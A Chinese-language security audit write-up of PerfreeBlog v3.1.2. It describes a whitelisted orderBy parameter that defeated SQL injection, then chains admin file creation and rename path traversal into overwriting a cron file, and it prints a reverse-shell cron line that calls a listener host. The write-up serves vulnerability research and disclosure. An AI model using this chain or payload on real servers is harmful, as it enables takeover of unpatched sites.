PerfreeBlog v3.1.2漏洞审计与SQL注入分析：从Windows到Linux环境搭建全记录

目录

由于某些原因，需要审计一些漏洞来提供具体的支持，但在逐步审计开源cms的过程中，已经不再需要了，所以我们简单记录下来，作为审计能力的一次演练。

环境设置

本文审核了开源个人博客系统PerfreeBlog最新的v3.1.2版本。对应的源码是直接从github的release拉取的。这里使用的是windows环境。后来为了方便进一步挖矿利用链改成了linux。 。 windows下配置本地maven即可，然后配置mysql等。

SQL失败

由于使用开源的mybatis进行数据库操作，所以我们一开始就只是简单的关注SQL注入，但是SQL注入并没有被成功利用。

熟悉mybatis的高手应该都知道sql注入的原因。在这里，全局搜索$并找到以下内容：com/perfree/mapper/ArticleMapper.java

根据id调用的接口进行回溯（推荐idea的插件MyBatisX，方便快速定位接口和sql语句）

查看apiList被调用的情况

com/perfree/controller/api/ArticleController.java，获取到的一些参数我就不看了，后续generateOrderBy

这里就是对得到的参数进行处理。根据之前的知识，orderBy参数是可控的，是一个可能的注入点。获取到的数据用“,”分隔，将数组列入白名单。如果数组中的数据不在白名单中，则直接返回空。

白名单的数据来源如下

因此，这里最后一条sql执行语句就变得不可控了，只能用于白名单中的数据；其他可能的利用点在最终审核后将无法利用。

文件上传

sql不可用后，注意力转向后台可能的文件上传点。

com/perfree/controller/admin/ThemeController.java

跟进createFileOrDir，处理传入的参数，判断filePath是否为空白字符。

调用FileUtil工具类的touch方法在绝对路径下创建文件。对后缀没有限制。可以创建任何后缀的文件。还要注意的是，..和/是不被过滤的，可以使用目录遍历来创建文件。

接下来想办法写入文件内容

通过调试后续函数，传入的content参数没有被过滤，也就是说写入文件的内容是可控的。

本来想直接上传jsp文件，结果发现没有使用中间件。它纯粹是由 SprintBoot 编写的。如果没有在pom.xml中进行配置，则无法解析jsp文件。您还需要考虑其他方法。

结合之前的目录遍历，尝试看看是否可以写入文件，但是注意到这里验证了文件路径，获取了themeDir的路径来判断是否存在。如果不存在，则直接返回文件不存在。

我查看了同一个类中的其他函数，其中一个似乎可以使用

文件重命名功能

使用断点调试，过程与创建文件基本相同，并且重命名传入的文件名没有被过滤，也就是说重命名文件时可以进行目录遍历。

通过上面的分析，我们来看看现在可以使用的路径。

后台权限->主题新建文件->编写恶意代码->文件重命名路径遍历

还剩下最后一步来找到最终的可利用点。

计划任务

在Linux下，可以尝试通过覆盖计划任务文件来反弹shell。

泊坞窗

使用官方docker的时候，发现拉取的是debian镜像，所以干脆改成了centos镜像。 Dockerfile如下

FROM centos:centos7.6.1810
COPY ./jdk-8u181-linux-x64.tar.gz /jdk-8u181-linux-x64.tar.gz
COPY ./perfree-web-3.1.2.tar.gz /perfree-web-3.1.2.tar.gz
RUN yum install crontabs -y
RUN tar -zxvf /jdk-8u181-linux-x64.tar.gz && mv jdk1.8.0_181 /usr/local/
RUN tar -zxvf /perfree-web-3.1.2.tar.gz && mv perfree-web /usr/local/
WORKDIR /usr/local/perfree-web
EXPOSE 8080
CMD [ "/usr/local/jdk1.8.0_181/bin/java","-jar","/usr/local/perfree-web/perfree-web.jar" ]

连接上面的利用链重命名文件，输入docker查看。定时任务已经成功写入，但是查看定时任务执行的日志文件时，发现日志文件不存在。

经过查找资料，这个问题并没有解决，容器中很多相关的cron配置文件都丢失了。其中一位说启动CentOS特权容器的定时任务可以执行，所以换容器。

这里先说一下后台的功能点，如下：

同样的操作，修改文件名

文件内容依然是计划任务反弹shell。这里写的时候要注意换行符。经过多次尝试，发现没有换行符的定时任务执行有问题。

*/1 * * * * bash -i >& /dev/tcp/ip/1234 0>&1

在cms服务器上查看定时任务列表和日志。可以看到定时任务的执行情况。另一台监听服务器成功收到弹回的shell。

至此，你就可以通过连击成功获得服务器权限了。

最终的

距离审计已经过去几个月了。项目作者已第一时间获悉上述漏洞信息，但尚未见到修复信息。后台使用限制似乎确实没有用。